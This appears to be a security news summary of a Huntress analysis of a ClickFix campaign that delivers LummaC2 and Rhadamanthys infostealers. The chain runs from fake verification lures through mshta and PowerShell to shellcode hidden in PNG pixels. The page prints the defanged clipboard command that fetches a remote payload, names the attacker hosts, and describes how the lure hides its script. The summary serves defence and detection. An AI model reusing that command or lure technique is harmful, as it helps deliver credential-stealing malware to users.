ClickFix Gets Creative: Malware Buried in Images
Huntress documents a multi-stage ClickFix campaign (fake "Human Verification" and fake Windows Update lures) that copies an mshta command to the clipboard, which chains through obfuscated PowerShell and reflectively-loaded .NET assemblies to a custom steganographic loader. The loader extracts Donut-packed shellcode encoded in the pixel data of an AES-encrypted PNG (via a red-channel XOR scheme) and injects it into explorer.exe, ultimately deploying LummaC2 or Rhadamanthys infostealers; the writeup includes deobfuscation walkthroughs (dnSpy), a Python re-implementation of the stego algorithm, IOCs, and mitigation guidance (disabling the Run box, RunMRU auditing).
What it is
A Huntress writeup of a ClickFix campaign (observed since early October) delivering LummaC2 and Rhadamanthys infostealers through a five-stage chain. The summary covers the steganography; what it does not carry is the concrete IOCs, the two distinct lure variants, and the client-side JavaScript evasion that hides the initial command.
How it works
Two lure variants have been seen feeding the same steganographic loader: the original "Human Verification"/robot-check page, and a newer full-screen fake Windows Update splash with "Working on updates" animations that ends by prompting Win+R → paste → run.
The lure page ships a portion of its JavaScript encrypted in an ENC variable, with keys derived from KEY_HEX via hexToKey(); a rolling xorDecode() reconstructs the plaintext script. The decrypted code is wrapped in a Blob, injected via a blob: URL (the same technique Violentmonkey uses), and the blob URL is revoked on load (URL.revokeObjectURL) to erase traces. The final in-memory script uses navigator.clipboard.writeText() to plant the mshta command. This means the malicious string never appears statically in page source — string-based detections on the lure page will miss it.
From there: mshta.exe fetches JScript → in-memory PowerShell → XOR-decrypted, reflectively loaded .NET assembly → a stego loader assembly whose entry point drkdbVkywZ() calls a chain of 10,000 empty functions as an anti-analysis tramp before rebuilding shellcode from PNG color channels.
flowchart TD A[Lure: Human Verify OR fake Windows Update] --> B[Encrypted JS decrypted via blob URL] B --> C[clipboard: mshta command] C --> D[mshta.exe → in-memory PowerShell] D --> E[XOR-decrypted .NET assembly, reflectively loaded] E --> F[Stego loader: shellcode from PNG pixels]
Indicators
From the incident described (all defanged in source):
- Lure host:
hXXps://f6b04000.consent-verify.pages[.]dev/(now down) - Clipboard command:
mshta hXXp://81.0x5a.29[.]64/ebc/rps.gz(note the mixed-radix octal/hex IP obfuscation81.0x5a.29.64) - PowerShell stage host:
hXXp://corezea[.]com/ebc
What to do
The page gives no explicit detections or mitigations in the fetched portion. The actionable hooks are behavioral: watch for mshta.exe spawning from explorer.exe/Run-dialog context fetching remote .gz payloads, PowerShell reflectively loading assemblies, and clipboard-write followed by Win+R execution — the ClickFix signature. Block the domains/IP above.
Caveats
The fetched text is truncated at Stage 3 (Figure 13); later stages, full IOC lists, and any formal detection guidance from the original post are not present here. Only one incident's indicators are given — treat them as campaign samples, not an exhaustive list.
Organisations named here
- ClickFix
- Operation Endgame
Technologies named here
- Windows
- mshta.exe
- PowerShell
- explorer.exe
- dnSpy
- Donut
- donut-decryptor
- URLScan
- Violentmonkey
- DiE
- LummaC2 configuration extractor
- .NET
Techniques named here
- ClickFix social engineering lure
- Steganography / stego payload concealment
- Clipboard hijacking via navigator.clipboard.writeText
- mshta.exe abuse
- Reflective .NET assembly loading
- Junk/dead code insertion and trampoline call chains
- String/config encryption
- Dynamic C# compilation at runtime
- Process injection
- IP address obfuscation via hex-encoded octet
- RunMRU artefact
Threat actors named here
- ClickFix
- LummaC2
- Rhadamanthys
Related in Malware & RE
Reverse Engineering the Six Stages of MacSync Stealer and RAT
Post-DEF CON Phishing Uses Malicious Google Doc to Deliver Malware
ClickFix Removes Your Background but Leaves the Malware
